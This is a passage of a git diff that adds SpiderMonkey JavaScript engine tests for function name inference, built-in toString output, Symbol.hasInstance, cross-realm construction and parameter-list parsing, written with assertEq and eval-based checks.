+ let nextedLexical1, nextedLexical2;
+ {
+ let nextedLexical1 = ${expr};
+ assertEq(nextedLexical1.name, named ? "named" : "nextedLexical1");
+
+ nextedLexical2 = ${expr};
+ assertEq(nextedLexical2.name, named ? "named" : "nextedLexical2");
+ }
+ }
+ `);
+
+ // Not applicable cases: not IsIdentifierRef.
+ eval(`
+ var inParen;
+ (inParen) = ${expr};
+ assertEq(inParen.name, named ? "named" : "");
+ `);
+
+ // Not applicable cases: not direct RHS.
+ if (!expr.includes("=>")) {
+ eval(`
+ var a = true && ${expr};
+ assertEq(a.name, named ? "named" : "");
+ `);
+ } else {
+ // Arrow function cannot be RHS of &&.
+ eval(`
+ var a = true && (${expr});
+ assertEq(a.name, named ? "named" : "");
+ `);
+ }
+
+ // Not applicable cases: property.
+ eval(`
+ var obj = {};
+
+ obj.prop = ${expr};
+ assertEq(obj.prop.name, named ? "named" : "");
+
+ obj["literal"] = ${expr};
+ assertEq(obj["literal"].name, named ? "named" : "");
+ `);
+
+ // Not applicable cases: assigned again.
+ eval(`
+ var tmp = [${expr}];
+ assertEq(tmp[0].name, named ? "named" : "");
+
+ var assignment;
+ assignment = tmp[0];
+ assertEq(assignment.name, named ? "named" : "");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testAssignmentExpression(expr, named);
+}
+
+function testVariableDeclaration(expr, named) {
+ eval(`
+ var varDecl = ${expr};
+ assertEq(varDecl.name, named ? "named" : "varDecl");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testVariableDeclaration(expr, named);
+}
+
+function testLexicalBinding(expr, named) {
+ eval(`
+ let lexical = ${expr};
+ assertEq(lexical.name, named ? "named" : "lexical");
+
+ const constLexical = ${expr};
+ assertEq(constLexical.name, named ? "named" : "constLexical");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testLexicalBinding(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-binding.js b/js/src/tests/non262/Function/function-name-binding.js
new file mode 100644
index 0000000000..bdd6c131c0
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-binding.js
@@ -0,0 +1,54 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on binding pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testAssignmentProperty(expr, named) {
+ var f = eval(`(function({ prop1 = ${expr} }) { return prop1; })`);
+ assertEq(f({}).name, named ? "named" : "prop1");
+
+ eval(`
+ var { prop1 = ${expr} } = {};
+ assertEq(prop1.name, named ? "named" : "prop1");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testAssignmentProperty(expr, named);
+}
+
+function testAssignmentElement(expr, named) {
+ var f = eval(`(function([elem1 = ${expr}]) { return elem1; })`);
+ assertEq(f([]).name, named ? "named" : "elem1");
+
+ eval(`
+ var [elem1 = ${expr}] = [];
+ assertEq(elem1.name, named ? "named" : "elem1");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testAssignmentElement(expr, named);
+}
+
+function testSingleNameBinding(expr, named) {
+ var f = eval(`(function(param1 = ${expr}) { return param1; })`);
+ assertEq(f().name, named ? "named" : "param1");
+}
+for (var [expr, named] of exprs) {
+ testSingleNameBinding(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-class.js b/js/src/tests/non262/Function/function-name-class.js
new file mode 100644
index 0000000000..edde690556
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-class.js
@@ -0,0 +1,32 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous class with name method shouldn't be affected by assignment";
+
+print(BUGNUMBER + ": " + summary);
+
+var classWithStaticNameMethod = class { static name() {} };
+assertEq(typeof classWithStaticNameMethod.name, "function");
+
+var classWithStaticNameGetter = class { static get name() { return "static name"; } };
+assertEq(typeof Object.getOwnPropertyDescriptor(classWithStaticNameGetter, "name").get, "function");
+assertEq(classWithStaticNameGetter.name, "static name");
+
+var classWithStaticNameSetter = class { static set name(v) {} };
+assertEq(typeof Object.getOwnPropertyDescriptor(classWithStaticNameSetter, "name").set, "function");
+
+var n = "NAME".toLowerCase();
+var classWithStaticNameMethodComputed = class { static [n]() {} };
+assertEq(typeof classWithStaticNameMethodComputed.name, "function");
+
+// It doesn't apply for non-static method.
+
+var classWithNameMethod = class { name() {} };
+assertEq(classWithNameMethod.name, "classWithNameMethod");
+
+var classWithNameGetter = class { get name() { return "name"; } };
+assertEq(classWithNameGetter.name, "classWithNameGetter");
+
+var classWithNameSetter = class { set name(v) {} };
+assertEq(classWithNameSetter.name, "classWithNameSetter");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-for.js b/js/src/tests/non262/Function/function-name-for.js
new file mode 100644
index 0000000000..2f04a5fa8d
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-for.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on for-in initializer";
+
+print(BUGNUMBER + ": " + summary);
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testForInHead(expr, named) {
+ eval(`
+ for (var forInHead = ${expr} in {}) {
+ }
+ `);
+ assertEq(forInHead.name, named ? "named" : "forInHead");
+}
+for (var [expr, named] of exprs) {
+ testForInHead(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-method.js b/js/src/tests/non262/Function/function-name-method.js
new file mode 100644
index 0000000000..3b2eeee793
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-method.js
@@ -0,0 +1,70 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on method definition";
+
+print(BUGNUMBER + ": " + summary);
+
+var fooSymbol = Symbol("foo");
+var emptySymbol = Symbol("");
+var undefSymbol = Symbol();
+
+function testMethod(prefix, classPrefix="", prototype=false) {
+ var param = (prefix == "set" || prefix == "static set") ? "v" : "";
+ var sep = classPrefix ? "" : ",";
+ var objOrClass = eval(`(${classPrefix}{
+ ${prefix} prop(${param}) {} ${sep}
+ ${prefix} "literal"(${param}) {} ${sep}
+ ${prefix} ""(${param}) {} ${sep}
+ ${prefix} 5(${param}) {} ${sep}
+ ${prefix} [Symbol.iterator](${param}) {} ${sep}
+ ${prefix} [fooSymbol](${param}) {} ${sep}
+ ${prefix} [emptySymbol](${param}) {} ${sep}
+ ${prefix} [undefSymbol](${param}) {} ${sep}
+ ${prefix} [/a/](${param}) {} ${sep}
+ })`);
+
+ var target = prototype ? objOrClass.prototype : objOrClass;
+
+ function testOne(methodName, expectedName) {
+ var f;
+ if (prefix == "get" || prefix == "static get") {
+ f = Object.getOwnPropertyDescriptor(target, methodName).get;
+ expectedName = "get " + expectedName;
+ } else if (prefix == "set" || prefix == "static set") {
+ f = Object.getOwnPropertyDescriptor(target, methodName).set;
+ expectedName = "set " + expectedName;
+ } else {
+ f = Object.getOwnPropertyDescriptor(target, methodName).value;
+ }
+
+ assertEq(f.name, expectedName);
+ }
+ testOne("prop", "prop");
+ testOne("literal", "literal");
+ testOne("", "");
+ testOne(5, "5");
+ testOne(Symbol.iterator, "[Symbol.iterator]");
+ testOne(fooSymbol, "[foo]");
+ testOne(emptySymbol, "[]");
+ testOne(undefSymbol, "");
+ testOne(/a/, "/a/");
+}
+testMethod("");
+testMethod("*");
+testMethod("async");
+testMethod("get");
+testMethod("set");
+
+testMethod("", "class", true);
+testMethod("*", "class", true);
+testMethod("async", "class", true);
+testMethod("get", "class", true);
+testMethod("set", "class", true);
+
+testMethod("static", "class");
+testMethod("static *", "class");
+testMethod("static async", "class");
+testMethod("static get", "class");
+testMethod("static set", "class");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-property.js b/js/src/tests/non262/Function/function-name-property.js
new file mode 100644
index 0000000000..7ad174b10f
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-property.js
@@ -0,0 +1,58 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on property name";
+
+print(BUGNUMBER + ": " + summary);
+
+var fooSymbol = Symbol("foo");
+var emptySymbol = Symbol("");
+var undefSymbol = Symbol();
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testPropertyDefinition(expr, named) {
+ var obj = eval(`({
+ prop: ${expr},
+ "literal": ${expr},
+ "": ${expr},
+ 5: ${expr},
+ 0.4: ${expr},
+ [Symbol.iterator]: ${expr},
+ [fooSymbol]: ${expr},
+ [emptySymbol]: ${expr},
+ [undefSymbol]: ${expr},
+ [/a/]: ${expr},
+ })`);
+ assertEq(obj.prop.name, named ? "named" : "prop");
+ assertEq(obj["literal"].name, named ? "named" : "literal");
+ assertEq(obj[""].name, named ? "named" : "");
+ assertEq(obj[5].name, named ? "named" : "5");
+ assertEq(obj[0.4].name, named ? "named" : "0.4");
+ assertEq(obj[Symbol.iterator].name, named ? "named" : "[Symbol.iterator]");
+ assertEq(obj[fooSymbol].name, named ? "named" : "[foo]");
+ assertEq(obj[emptySymbol].name, named ? "named" : "[]");
+ assertEq(obj[undefSymbol].name, named ? "named" : "");
+ assertEq(obj[/a/].name, named ? "named" : "/a/");
+
+ // Not applicable cases: __proto__.
+ obj = {
+ __proto__: function() {}
+ };
+ assertEq(obj.__proto__.name, "");
+}
+for (var [expr, named] of exprs) {
+ testPropertyDefinition(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name.js b/js/src/tests/non262/Function/function-name.js
new file mode 100644
index 0000000000..7beca56df5
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name.js
@@ -0,0 +1,64 @@
+function testFunctionName(f) {
+ var name = f.name;
+ f.name = 'g';
+ assertEq(f.name, name);
+ assertEq(delete f.name, true);
+ assertEq(f.name, '');
+ assertEq(f.hasOwnProperty('name'), false);
+ f.name = 'g';
+ assertEq(f.name, '');
+ Object.defineProperty(f, 'name', {value: 'g'});
+ assertEq(f.name, 'g');
+}
+function testFunctionNameStrict(f) {
+ "use strict";
+ var name = f.name;
+ var error;
+ try {
+ f.name = 'g';
+ } catch (e) {
+ error = e;
+ }
+ assertEq(f.name, name);
+ assertEq(error instanceof TypeError, true);
+ assertEq(delete f.name, true);
+ assertEq(f.name, '');
+ assertEq(f.hasOwnProperty('name'), false);
+ error = null;
+ try {
+ f.name = 'g';
+ } catch (e) {
+ error = e;
+ }
+ assertEq(f.name, '');
+ assertEq(error instanceof TypeError, true);
+ Object.defineProperty(f, 'name', {value: 'g'});
+ assertEq(f.name, 'g');
+}
+
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").writable, false);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").enumerable, false);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").configurable, true);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").value, 'Object');
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").writable, false);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").enumerable, false);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").configurable, true);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").value, 'f');
+
+// Basic test ensuring that Object.defineProperty works on pristine function.
+function f() {};
+Object.defineProperty(f, 'name', {value: 'g'});
+assertEq(f.name, 'g');
+
+// .name behaves as expected on scripted function.
+testFunctionName(function f(){});
+testFunctionNameStrict(function f(){});
+// .name behaves as expected on builtin function.
+testFunctionName(Function.prototype.apply);
+testFunctionNameStrict(Function.prototype.call);
+// .name behaves as expected on self-hosted builtin function.
+testFunctionName(Array.prototype.forEach);
+testFunctionNameStrict(Array.prototype.some);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-toString-builtin-name.js b/js/src/tests/non262/Function/function-toString-builtin-name.js
new file mode 100644
index 0000000000..709e7e846b
--- /dev/null
+++ b/js/src/tests/non262/Function/function-toString-builtin-name.js
@@ -0,0 +1,53 @@
+// Repeats the test from 'Function/function-toString-builtin.js' and additionally
+// verifies the name matches the expected value.
+//
+// This behaviour is not required by the ECMAScript standard.
+
+// Greatly (!) simplified patterns for the PropertyName production.
+var propertyName = [
+ // PropertyName :: LiteralPropertyName :: IdentifierName
+ "\\w+",
+
+ // PropertyName :: LiteralPropertyName :: StringLiteral
+ "(?:'[^']*')",
+ "(?:\"[^\"]*\")",
+
+ // PropertyName :: LiteralPropertyName :: NumericLiteral
+ "\\d+",
+
+ // PropertyName :: ComputedPropertyName
+ "(?:\\[[^\\]]+\\])",
+].join("|")
+
+var nativeCode = RegExp([
+ "^", "function", ("(" + propertyName + ")?"), "\\(", "\\)", "\\{", "\\[native code\\]", "\\}", "$"
+].join("\\s*"));
+
+function assertFunctionName(fun, expected) {
+ var match = nativeCode.exec(fun.toString());
+ assertEq(match[1], expected);
+}
+
+// Bound functions are considered built-ins.
+assertFunctionName(function(){}.bind(), undefined);
+assertFunctionName(function fn(){}.bind(), undefined);
+
+// Built-ins which are well-known intrinsic objects.
+assertFunctionName(Array, "Array");
+assertFunctionName(Object.prototype.toString, "toString");
+assertFunctionName(decodeURI, "decodeURI");
+
+// Other built-in functions.
+assertFunctionName(Math.asin, "asin");
+assertFunctionName(String.prototype.blink, "blink");
+assertFunctionName(RegExp.prototype[Symbol.split], "[Symbol.split]");
+
+// Built-in getter functions.
+assertFunctionName(Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get, "flags");
+assertFunctionName(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").get, "__proto__");
+
+// Built-in setter functions.
+assertFunctionName(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set, "__proto__");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-toString-builtin.js b/js/src/tests/non262/Function/function-toString-builtin.js
new file mode 100644
index 0000000000..d4efc81c14
--- /dev/null
+++ b/js/src/tests/non262/Function/function-toString-builtin.js
@@ -0,0 +1,42 @@
+
+// Greatly (!) simplified patterns for the PropertyName production.
+var propertyName = [
+ // PropertyName :: LiteralPropertyName :: IdentifierName
+ "\\w+",
+
+ // PropertyName :: LiteralPropertyName :: StringLiteral
+ "(?:'[^']*')",
+ "(?:\"[^\"]*\")",
+
+ // PropertyName :: LiteralPropertyName :: NumericLiteral
+ "\\d+",
+
+ // PropertyName :: ComputedPropertyName
+ "(?:\\[[^\\]]+\\])",
+].join("|")
+
+var nativeCode = RegExp([
+ "^", "function", ("(?:" + propertyName + ")?"), "\\(", "\\)", "\\{", "\\[native code\\]", "\\}", "$"
+].join("\\s*"));
+
+
+// Bound functions are considered built-ins.
+reportMatch(nativeCode, function(){}.bind().toString());
+reportMatch(nativeCode, function fn(){}.bind().toString());
+
+// Built-ins which are well-known intrinsic objects.
+reportMatch(nativeCode, Array.toString());
+reportMatch(nativeCode, Object.prototype.toString.toString());
+reportMatch(nativeCode, decodeURI.toString());
+
+// Other built-in functions.
+reportMatch(nativeCode, Math.asin.toString());
+reportMatch(nativeCode, String.prototype.blink.toString());
+reportMatch(nativeCode, RegExp.prototype[Symbol.split].toString());
+
+// Built-in getter functions.
+reportMatch(nativeCode, Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get.toString());
+reportMatch(nativeCode, Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").get.toString());
+
+// Built-in setter functions.
+reportMatch(nativeCode, Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set.toString());
diff --git a/js/src/tests/non262/Function/get-function-realm.js b/js/src/tests/non262/Function/get-function-realm.js
new file mode 100644
index 0000000000..4efd94f971
--- /dev/null
+++ b/js/src/tests/non262/Function/get-function-realm.js
@@ -0,0 +1,45 @@
+var g1 = newGlobal();
+var g1Fun = g1.eval("function Fun() {}; Fun");
+
+// Bound function => cross-realm function.
+var bound1 = Function.prototype.bind.call(g1Fun);
+assertEq(Object.getPrototypeOf(new bound1()), g1.Fun.prototype);
+
+// Proxy => cross-realm function.
+var proxy1 = new Proxy(g1Fun, {
+ get: function() {} // Ensure "prototype" is |undefined|.
+});
+assertEq(Object.getPrototypeOf(new proxy1()), g1.Object.prototype);
+
+// Proxy => bound function => cross-realm function.
+var proxy2 = new Proxy(bound1, {
+ get: function() {}
+});
+assertEq(Object.getPrototypeOf(new proxy2()), g1.Object.prototype);
+
+// Revoked proxy => cross-realm function.
+var r1 = Proxy.revocable(g1Fun, {
+ get: function(t, name) {
+ assertEq(name, "prototype");
+ r1.revoke();
+ }
+});
+assertThrowsInstanceOf(() => new r1.proxy(), g1.TypeError);
+
+// Bound function => proxy => bound function => cross-realm function.
+var bound2 = Function.prototype.bind.call(proxy2);
+assertEq(Object.getPrototypeOf(new bound2()), g1.Object.prototype);
+
+// Proxy => cross-realm revoked proxy => cross-realm function.
+var r2 = Proxy.revocable(g1Fun, {
+ get: function(t, name) {
+ assertEq(name, "prototype");
+ r2.revoke();
+ }
+});
+var g2 = newGlobal();
+var proxy3 = new g2.Proxy(r2.proxy, {});
+assertThrowsInstanceOf(() => new proxy3(), g1.TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/has-instance-jitted.js b/js/src/tests/non262/Function/has-instance-jitted.js
new file mode 100644
index 0000000000..a2d33abc7f
--- /dev/null
+++ b/js/src/tests/non262/Function/has-instance-jitted.js
@@ -0,0 +1,96 @@
+const OriginalHasInstance = Function.prototype[Symbol.hasInstance];
+
+// Ensure that folding doesn't impact user defined @@hasInstance methods.
+{
+ function Test() {
+ this.x = 1;
+ }
+
+ Object.defineProperty(Test, Symbol.hasInstance,
+ {writable: true, value: () => false});
+
+ function x(t) {
+ return t instanceof Test;
+ }
+
+ function y() {
+ let t = new Test;
+ let b = true;
+ for (let i = 0; i < 10; i++) {
+ b = b && x(t);
+ }
+ return b;
+ }
+
+
+ function z() {
+ let f = 0;
+ let t = 0;
+ for (let i = 0; i < 100; i++)
+ assertEq(y(), false);
+ }
+
+ z();
+}
+
+// Ensure that the jitting does not clobber user defined @@hasInstance methods.
+{
+ function a() {
+ function b() {};
+ b.__proto__ = a.prototype;
+ return b;
+ };
+ let c = new a();
+
+ let t = 0;
+ let f = 0;
+ let e = 0;
+ for (let i = 0; i < 40000; i++) {
+ if (i == 20000)
+ Object.defineProperty(a.prototype, Symbol.hasInstance,
+ {writable: true, value: () => true});
+ if (i == 30000)
+ Object.setPrototypeOf(c, Function.prototype);
+
+ if (1 instanceof c) {
+ t++;
+ } else {
+ f++;
+ }
+ }
+
+ assertEq(t, 10000);
+ assertEq(f, 30000);
+}
+
+{
+ function a() {};
+ function b() {};
+ Object.defineProperty(a, Symbol.hasInstance, {writable: true, value: () => true});
+ assertEq(b instanceof a, true);
+ for (let _ of Array(10000))
+ assertEq(b instanceof a, true);
+}
+
+{
+ function a(){};
+ function b(){};
+ function c(){};
+ function d(){};
+ function e(){};
+ Object.defineProperty(a, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(b, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(c, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(d, Symbol.hasInstance, {value: () => true });
+ let funcs = [a, b, c, d];
+ for (let f of funcs)
+ assertEq(e instanceof f, true);
+
+ for (let _ of Array(10001)) {
+ for (let f of funcs)
+ assertEq(e instanceof f, true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/has-instance.js b/js/src/tests/non262/Function/has-instance.js
new file mode 100644
index 0000000000..f0c7bf28e1
--- /dev/null
+++ b/js/src/tests/non262/Function/has-instance.js
@@ -0,0 +1,101 @@
+// It is possible to override Function.prototype[@@hasInstance].
+let passed = false;
+let obj = { foo: true };
+let C = function(){};
+
+Object.defineProperty(C, Symbol.hasInstance, {
+ value: function(inst) { passed = inst.foo; return false; }
+});
+
+assertEq(obj instanceof C, false);
+assertEq(passed, true);
+
+{
+ let obj = {
+ [Symbol.hasInstance](v) { return true; },
+ };
+ let whatevs = {};
+ assertEq(whatevs instanceof obj, true);
+}
+
+{
+
+ function zzzz() {};
+ let xxxx = new zzzz();
+ assertEq(xxxx instanceof zzzz, true);
+ assertEq(zzzz[Symbol.hasInstance](xxxx), true);
+
+}
+
+// Non-callable objects should return false.
+const nonCallables = [
+ 1,
+ undefined,
+ null,
+ "nope",
+]
+
+for (let nonCallable of nonCallables) {
+ assertEq(nonCallable instanceof Function, false);
+ assertEq(nonCallable instanceof Object, false);
+}
+
+// Non-callables should throw when used on the right hand side
+// of `instanceof`.
+assertThrowsInstanceOf(() => {
+ function foo() {};
+ let obj = {};
+ foo instanceof obj;
+}, TypeError);
+
+// Non-callables do not throw for overridden methods
+let o = {[Symbol.hasInstance](v) { return true; }}
+assertEq(1 instanceof o, true);
+
+// Non-callables return false instead of an exception when
+// Function.prototype[Symbol.hasInstance] is called directly.
+for (let nonCallable of nonCallables) {
+ assertEq(Function.prototype[Symbol.hasInstance].call(nonCallable, Object), false);
+}
+
+// It should be possible to call the Symbol.hasInstance method directly.
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, () => 1), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, Object), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, null), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, Array), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Object, Array), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Array, Function), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(({}), Function), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(), false)
+assertEq(Function.prototype[Symbol.hasInstance].call(({})), false)
+
+// Ensure that bound functions are unwrapped properly
+let bindme = {x: function() {}};
+let instance = new bindme.x();
+let xOuter = bindme.x;
+let bound = xOuter.bind(bindme);
+let doubleBound = bound.bind(bindme);
+let tripleBound = bound.bind(doubleBound);
+assertEq(Function.prototype[Symbol.hasInstance].call(bound, instance), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(doubleBound, instance), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(tripleBound, instance), true);
+
+// Function.prototype[Symbol.hasInstance] is not configurable
+let desc = Object.getOwnPropertyDescriptor(Function.prototype, Symbol.hasInstance);
+assertEq(desc.configurable, false);
+
+// Attempting to use a non-callable @@hasInstance triggers a type error
+// Bug 1280892
+assertThrowsInstanceOf(() => {
+ var fun = function() {}
+ var p = new Proxy(fun, {
+ get(target, key) {
+ return /not-callable/;
+ }
+ });
+ fun instanceof p;
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/implicit-this-in-parameter-expression.js b/js/src/tests/non262/Function/implicit-this-in-parameter-expression.js
new file mode 100644
index 0000000000..c58c53e2af
--- /dev/null
+++ b/js/src/tests/non262/Function/implicit-this-in-parameter-expression.js
@@ -0,0 +1,18 @@
+
+function f(a = eval(`
+ function g() {
+ 'use strict';
+ return this;
+ }
+
+ with ({}) {
+ g() /* implicit return value */
+ }
+ `)) {
+ return a
+};
+
+assertEq(f(), undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/invalid-parameter-list.js b/js/src/tests/non262/Function/invalid-parameter-list.js
new file mode 100644
index 0000000000..8aae89ef15
--- /dev/null
+++ b/js/src/tests/non262/Function/invalid-parameter-list.js
@@ -0,0 +1,27 @@
+// This constructor behaves like `Function` without checking
+// if the parameter list end is at the expected position.
+// We use this to make sure that the tests we use are otherwise
+// syntactically correct.
+function DumpFunction(...args) {
+ let code = "function anonymous(";
+ code += args.slice(0, -1).join(", ");
+ code += ") {\n";
+ code += args[args.length -1];
+ code += "\n}";
+ eval(code);
+}
+
+const tests = [
+ ["/*", "*/) {"],
+ ["//", ") {"],
+ ["a = `", "` ) {"],
+ [") { var x = function (", "} "],
+ ["x = function (", "}) {"]
+];
+
+for (const test of tests) {
+ DumpFunction(...test);
+ assertThrowsInstanceOf(() => new Function(...test), SyntaxError);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js b/js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js
new file mode 100644
index 0000000000..a3f00ac1f2
--- /dev/null
+++ b/js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js
@@ -0,0 +1,31 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertEq(function([a = 0]){}.length, 1);
+assertEq(function({p: a = 0}){}.length, 1);
+assertEq(function({a = 0}){}.length, 1);
+assertEq(function({[0]: a}){}.length, 1);
+
+assertEq(function([a = 0], [b = 0]){}.length, 2);
+assertEq(function({p: a = 0}, [b = 0]){}.length, 2);
+assertEq(function({a = 0}, [b = 0]){}.length, 2);
+assertEq(function({[0]: a}, [b = 0]){}.length, 2);
+
+assertEq(function(x, [a = 0]){}.length, 2);
+assertEq(function(x, {p: a = 0}){}.length, 2);
+assertEq(function(x, {a = 0}){}.length, 2);
+assertEq(function(x, {[0]: a}){}.length, 2);
+
+assertEq(function(x = 0, [a = 0]){}.length, 0);
+assertEq(function(x = 0, {p: a = 0}){}.length, 0);
+assertEq(function(x = 0, {a = 0}){}.length, 0);
+assertEq(function(x = 0, {[0]: a}){}.length, 0);
+
+assertEq(function([a = 0], ...r){}.length, 1);
+assertEq(function({p: a = 0}, ...r){}.length, 1);
+assertEq(function({a = 0}, ...r){}.length, 1);
+assertEq(function({[0]: a}, ...r){}.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/line-terminator-before-arrow.js b/js/src/tests/non262/Function/line-terminator-before-arrow.js
new file mode 100644
index 0000000000..52bdce7f3b
--- /dev/null
+++ b/js/src/tests/non262/Function/line-terminator-before-arrow.js
@@ -0,0 +1,9 @@
+assertThrowsInstanceOf(() => eval("() \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("a \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a) /*\n*/ => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b = 1) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, ...b) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b = 1, ...c) \n => {}"), SyntaxError);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Function/method-has-duplicated.js b/js/src/tests/non262/Function/method-has-duplicated.js
new file mode 100644
index 0000000000..dc0a9dfb42
--- /dev/null
+++ b/js/src/tests/non262/Function/method-has-duplicated.js
@@ -0,0 +1,19 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a) {
+}
+
+// SyntaxError should be thrown if method definition has duplicated name.
+assertThrowsInstanceOf(() => eval(`
+({
+ m1(a, a) {
+ }
+});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+({
+ m2(a, ...a) {
+ }
+});
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/parameter-redeclaration.js b/js/src/tests/non262/Function/parameter-redeclaration.js
new file mode 100644
index 0000000000..74e55e3aa9
--- /dev/null
+++ b/js/src/tests/non262/Function/parameter-redeclaration.js
@@ -0,0 +1,19 @@
+// 'var' is allowed to redeclare parameters.
+function f1(a = 0) {
+ var a;
+}
+
+// 'let' and 'const' at body-level are not allowed to redeclare parameters.
+assertThrowsInstanceOf(() => {
+ eval(`function f2(a = 0) {
+ let a;
+ }`);
+}, SyntaxError);
+assertThrowsInstanceOf(() => {
+ eval(`function f3(a = 0) {
+ const a;
+ }`);
+}, SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/redefine-arguments-length.js b/js/src/tests/non262/Function/redefine-arguments-length.js
new file mode 100644
index 0000000000..ad9ae742ff
--- /dev/null
+++ b/js/src/tests/non262/Function/redefine-arguments-length.js
@@ -0,0 +1,65 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'redefine-arguments-length.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 539766;
+var summary =
+ "Object.defineProperty sets arguments.length without setting the " +
+ "length-overridden bit";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test_JSOP_ARGCNT()
+{
+ var length = "length";
+ Object.defineProperty(arguments, length, { value: 17 });
+ assertEq(arguments.length, 17);
+ assertEq(arguments[length], 17);
+}
+test_JSOP_ARGCNT();
+
+function test_js_fun_apply()
+{
+ var length = "length";
